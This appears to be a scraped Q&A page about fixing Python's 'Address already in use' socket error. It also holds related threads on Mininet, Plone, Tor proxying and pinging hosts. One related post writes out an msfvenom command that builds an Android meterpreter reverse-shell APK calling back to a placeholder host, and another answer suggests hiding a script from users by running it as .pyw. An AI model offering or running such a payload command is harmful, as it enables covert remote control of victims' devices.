socket.error: [Errno 98] Address already in use - python-3.6

I have this code to connect with server, and this is fileServer.py on server, i have another file py at client but not test yet, i got problem when run this code, please see the information below
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024).decode()
if os.path.isfile(filename):
message = "EXISTS" + str(os.path.getsize(filename))
sock.send(message.encode())
userResponse = sock.recv(1024).decode()
if userResponse[:2] == "OK":
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while (bytesToSend !=""):
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = '192.168.0.91'
port = 8069
s = socket.socket()
s.bind((host,port))
s.listen(5)
print('Server Started')
while True:
c, addr = s.accept()
print ('Client connected ip: ' + str(addr))
t = threading.Thread(target = RetrFile, args=('retrThread',c))
t.start()
s.close()
if __name__ == '__main__':
Main()
And when I run it, it show me an Error, I think it is about socket to connect with IP server, is it right?
File "fileServer.py", line 40, in <module>
Main()
File "fileServer.py", line 26, in Main
s.bind((host,port))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 98] Address already in use
How can I fix that?
Any suggest?
Thanks in advance

I think you are trying to run more than one Odoo server on the same port.
Try this on terminal:
sudo netstat -nlp | grep 8069
then you will see something like this:
tcp 0 0 0.0.0.0:8069 0.0.0.0:* LISTEN 10869/python2
Kill the process:
sudo kill -9 10869
OR
Change the port number in the fileServer.py.
Then try to start Odoo.
Hope it will help you.

You can simply use the following script to kill the process.
fuser -k 8069/tcp
Generally,
fuser -k <port_no>/<tcp/udp>
OR
netstat -nlp | grep <port_no>
kill -9 PID

The error is self explanatory "Address already in use"
return getattr(self._sock,name)(*args)
socket.error: [Errno 98] Address already in use
#KbiR has already explained it
For windows check this out How can you find out which process is listening on a port on Windows?

you could use this command to kill the Odoo process already running on that port
fuser -k 8069/tcp
and launch your python script again

use this command is the correct sudo systemctl stop odoo11
if you use other version of odoo change the number 11 for your version

Related

When I try to exploit my payload then it is showing me, no session was created

When I try to exploit my payload then it is showing me...
Handler failed to bind to YOUR IP:- -
[-] Handler failed to bind to 0.0.0.0:5432:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:5432).
[*] Exploit completed, but no session was created.
//////////////////
command to make payload
./msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR IP LPORT=5432 -o ~/storage/downloads/test2.apk
sir please help me!!!
Thanks for see/read my post 😊
My guess you need to use a loopback address 127.0.0.1 and not any address
I think,there is another service or anything running on port 5432.You should check it with netstat command.You can set another port number.
to find wich process is using that port use:
netstat -nao | grep 5432
TCP 127.0.0.1:5432 0.0.0.0:0 LISTENING [PID]
then you can kill that process using the PID returned from the last command:
kill -9 <PID>

Web server(nginx) in mininet

After using sudo mn to build a simple network in mini-net, I use nginx to build a web server in host1.
I use systemctl start nginx in host1 xterm to build a web server. But it seems it starts a web server on my localhost, not in the mini-net. I cannot access the web server in host1 and host2 by Firefox in mini-net.
Is there anything wrong in my operation?
the reason why you cannot connect to the server on host1 is as you said - the host isn't there it's running on 127.0.0.1 (localhost) of your hosts's machine not any of your mininet hosts.
The way to get around this is by telling nxinx to run on your host's (local) IP explicitly via the server conf file.
Here's an example that works for me. (Tested with nginx 1.4.6, mininet 2.3.0 and ubuntu 18.04)
from mininet.topo import Topo
from mininet.node import CPULimitedHost
from mininet.link import TCLink
from mininet.net import Mininet
import time
class DumbbellTopo(Topo):
def build(self, bw=8, delay="10ms", loss=0):
switch1 = self.addSwitch('switch1')
switch2 = self.addSwitch('switch2')
appClient = self.addHost('aClient')
appServer = self.addHost('aServer')
crossClient = self.addHost('cClient')
crossServer = self.addHost('cServer')
self.addLink(appClient, switch1)
self.addLink(crossClient, switch1)
self.addLink(appServer, switch2)
self.addLink(crossServer, switch2)
self.addLink(switch1, switch2, bw=bw, delay=delay, loss=loss, max_queue_size=14)
def simulate():
dumbbell = DumbbellTopo()
network = Mininet(topo=dumbbell, host=CPULimitedHost, link=TCLink, autoPinCpus=True)
network.start()
appClient = network.get('aClient')
appServer = network.get('aServer')
wd = str(appServer.cmd("pwd"))[:-2]
appServer.cmd("echo 'b a n a n a s' > available-fruits.html")
appServer.cmd("echo 'events { } http { server { listen " + appServer.IP() + "; root " + wd + "; } }' > nginx-conf.conf") # Create server config file
appServer.cmd("sudo nginx -c " + wd + "/nginx-conf.conf &") # Tell nginx to use configuration from the file we just created
time.sleep(1) # Server might need some time to start
fruits = appClient.cmd("curl http://" + appServer.IP() + "/available-fruits.html")
print(fruits)
appServer.cmd("sudo nginx -s stop")
network.stop()
if __name__ == '__main__':
simulate()
This way we create the nginx conf file (nginx-conf.conf), then tell nginx to use this for its configuration.
Alternatively if you want to start it from a terminal on the host, create the conf file and then use the command to tell nginx to run with this file as shown in the code above.

Unable to run Plone site

I am using Plone for my site When i am trying to run following command it gets an error :
Plone/zinstance $ bin/instance fg
Traceback (most recent call last):
File "/Plone/zinstance/parts/instance/bin/interpreter", line 297, in <module>
exec(compile(__file__f.read(), __file__, "exec"))
File "/Plone/buildout-cache/eggs/Zope2-2.13.22-py2.7.egg/Zope2/Startup/run.py", line 76, in <module>
run(/Plone/buildout-cache/eggs/Zope2-2.13.22-py2.7.egg/Zope2/Startup/run.py", line 22, in run
starter.prepare()
File "/home/turningcloud/Plone/buildout-cache/eggs/Zope2-2.13.22-py2.7.egg/Zope2/Startup/__init__.py", line 79, in prepare
self.setupServers()
File "/Plone/buildout-cache/eggs/Zope2-2.13.22-py2.7.egg/Zope2/Startup/__init__.py", line 214, in setupServers
% (server.servertype(),e[1]))
ZConfig.ConfigurationError: There was a problem starting a server of type "HTTPServer". This may mean that your user does not have permission to bind to the port which the server is trying to use or the port may already be in use by another application. (Address already in use)
If you did not change the Plone configuration, it is trying to bind to port 8080. The error message indicates the port is already in use.
The most common reason is that this or another Plone instance is using the port. If you don't have another Plone install, then it may be the current Plone install, with the Plone daemon running as a background process. Try using bin/instance stop.
If that doesn't work and this is a development machine that you control, you may wish to simply reboot it. Otherwise, use your operating system's process-monitor mechanisms (ps aux | grep python on a Linux system) to find out if Plone is already running. If so, kill the process.
Plone is not the only package that uses 8080 as its default port. If the above has failed, use a network monitor program (netstat or sockstat on a Linux system) to track down the other process listening on the port. Change its configuration or Plone's.
sudo netstat -lnap | grep 8080
Check which process is using the port 8080 and use "kill " command to kill it and then again restart it.
I was facing the same error. I got some hint from this post http://plone.293351.n2.nabble.com/Address-Already-in-Use-error-td328781.html
I went to back to my command and seen that I was using wrong user in command with sudo.
sudo -u plone_daemon bin/instance fg --- Wrong command
sudo -u [Change_user_respectively] bin/instance fg -- It worked for me.

using tor as a SOCKS5 proxy with python urllib2 or mechanize

My goal is to use python's mechanize with a tor SOCKS proxy.
I am not using a GUI with the following Ubuntu version:
Description: Ubuntu 12.04.1 LTS
Release: 12.04
Codename: precise
Tor is installed and is listening on port 9050 according to the nmap scan:
Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 00:50 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000011s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
9050/tcp open tor-socks
I also thought it reasonable to see if I could telnet to port 9050, which I can:
telnet 127.0.0.1 9050
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
quit
Connection closed by foreign host.
I had high hopes for the suggestion in this post to get tor working with urllib2:
How can I use a SOCKS 4/5 proxy with urllib2?
So I tried the following script in python:
import socks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
import urllib2
print urllib2.urlopen('http://icanhazip.com').read()
The script just hangs with no response.
I thought that since mechanize seems to be related to urllib2 that the following script might work:
import socks
import socket
import mechanize
from mechanize import Browser
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
br = Browser()
print br.open('http://icanhazip.com').read()
I get the same result as above with the urllib2 script.
I am very new to python and networking, so I need a second opinion on how to make the python urllib2 use tor as a SOCKS on a non-GUI Ubuntu server.
I ran this script and received an expected response. I did not use the tor proxy:
In [1]: import urllib2
In [2]: print urllib2.urlopen('http://icanhazip.com').read()
xxxx:xxxx:xxxx:512:13b2:ccd5:ff04:c5f4
Thanks.
I found something that works! I have no idea why it works, but it does. I found it here:
Python urllib over TOR?
import socks
import socket
def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection
import urllib2
print urllib2.urlopen('http://icanhazip.com').read()
import mechanize
from mechanize import Browser
br = Browser()
print br.open('http://icanhazip.com').read()
See end of question.
import socks
import socket
def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection
import urllib2
print urllib2.urlopen('http://icanhazip.com').read()
import mechanize
from mechanize import Browser
br = Browser()
print br.open('http://icanhazip.com').read()
The above solution didn't work for me. I am on Ubuntu 14.04. Whenever I try to run the above script it keeps throwing the following error.
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python2.7/urllib2.py", line 127, in urlopen
return _opener.open(url, data, timeout)
File "/usr/lib/python2.7/urllib2.py", line 404, in open
response = self._open(req, data)
File "/usr/lib/python2.7/urllib2.py", line 422, in _open
'_open', req)
File "/usr/lib/python2.7/urllib2.py", line 382, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 1214, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/usr/lib/python2.7/urllib2.py", line 1184, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error ((1, 'general SOCKS server failure'),)>
Checked if tor is running by using the nmap command.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00026s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
902/tcp open iss-realsecure
3306/tcp open mysql
9050/tcp open tor-socks
Installing Vidalia solved this problem. Apparently, the socks proxy was not allowing the connection to pass through it. Hope this might help someone facing the same problem.

Local network pinging in python

Does anyone know how to use python to ping a local host to see if it is active or not? We (my team and I) have already tried using
os.system("ping 192.168.1.*")
But the response for destination unreachable is the same as the response for the host is up.
Thanks for your help.
Use this ...
import os
hostname = "localhost" #example
response = os.system("ping -n 1 " + hostname)
#and then check the response...
if response == 0:
print(hostname, 'is up!')
else:
print(hostname, 'is down!')
If using this script on unix/Linux replace -n switch with -c !
Thats all :)
I've found that using os.system(...) leads to false positives (as the OP said, 'destination host unreachable' == 0).
As stated before, using subprocess.Popen works. For simplicity I recommend doing that followed by parsing the results. You can easily do this like:
if ('unreachable' in output):
print("Offline")
Just check the various outputs you want to check from ping results. Make a 'this' in 'that' check for it.
Example:
import subprocess
hostname = "10.20.16.30"
output = subprocess.Popen(["ping.exe",hostname],stdout = subprocess.PIPE).communicate()[0]
print(output)
if ('unreachable' in output):
print("Offline")
The best way I could find to do this on Windows, if you don't want to be parsing the output is to use Popen like this:
num = 1
host = "192.168.0.2"
wait = 1000
ping = Popen("ping -n {} -w {} {}".format(num, wait, host),
stdout=PIPE, stderr=PIPE) ## if you don't want it to print it out
exit_code = ping.wait()
if exit_code != 0:
print("Host offline.")
else:
print("Host online.")
This works as expected. The exit code gives no false positives. I've tested it in Python 2.7 and 3.4 on Windows 7 and Windows 10.
I've coded a little program a while back. It might not be the exact thing you are looking for, but you can always run a program on the host OS that opens up a socket on startup. Here is the ping program itself:
# Run this on the PC that want to check if other PC is online.
from socket import *
def pingit(): # defining function for later use
s = socket(AF_INET, SOCK_STREAM) # Creates socket
host = 'localhost' # Enter the IP of the workstation here
port = 80 # Select port which should be pinged
try:
s.connect((host, port)) # tries to connect to the host
except ConnectionRefusedError: # if failed to connect
print("Server offline") # it prints that server is offline
s.close() #closes socket, so it can be re-used
pingit() # restarts whole process
while True: #If connected to host
print("Connected!") # prints message
s.close() # closes socket just in case
exit() # exits program
pingit() #Starts off whole process
And here you have the program that can recieve the ping request:
# this runs on remote pc that is going to be checked
from socket import *
HOST = 'localhost'
PORT = 80
BUFSIZ = 1024
ADDR = (HOST, PORT)
serversock = socket(AF_INET, SOCK_STREAM)
serversock.bind(ADDR)
serversock.listen(2)
while 1:
clientsock, addr = serversock.accept()
serversock.close()
exit()
To run a program without actually showing it, just save the file as .pyw instead of .py.
It makes it invisible until user checks running processes.
Hope it helped you
For simplicity, I use self-made functions based on socket.
def checkHostPort(HOSTNAME, PORT):
"""
check if host is reachable
"""
result = False
try:
destIp = socket.gethostbyname(HOSTNAME)
except:
return result
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
try:
conn = s.connect((destIp, PORT))
result = True
conn.close()
except:
pass
return result
if Ip:Port is reachable, return True
If you wanna to simulate Ping, may refer to ping.py
Try this:
ret = os.system("ping -o -c 3 -W 3000 192.168.1.10")
if ret != 0:
print "Host is not up"
-o waits for only one packet
-W 3000 gives it only 3000 ms to reply to the packet.
-c 3 lets it try a few times so that your ping doesnt run forever
Use this and parse the string output
import subprocess
output = subprocess.Popen(["ping.exe","192.168.1.1"],stdout = subprocess.PIPE).communicate()[0]
How about the request module?
import requests
def ping_server(address):
try:
requests.get(address, timeout=1)
except requests.exceptions.ConnectTimeout:
return False
return True
No need to split urls to remove ports, or test ports, and no localhost false-positive.
Timeout amount doesn't really matter since it only hits the timeout when there is no server, which in my case meant performance no longer mattered. Otherwise, this returns at the speed of a request, which is plenty fast for me.
Timeout waits for the first bit, not total time, in case that matters.

Resources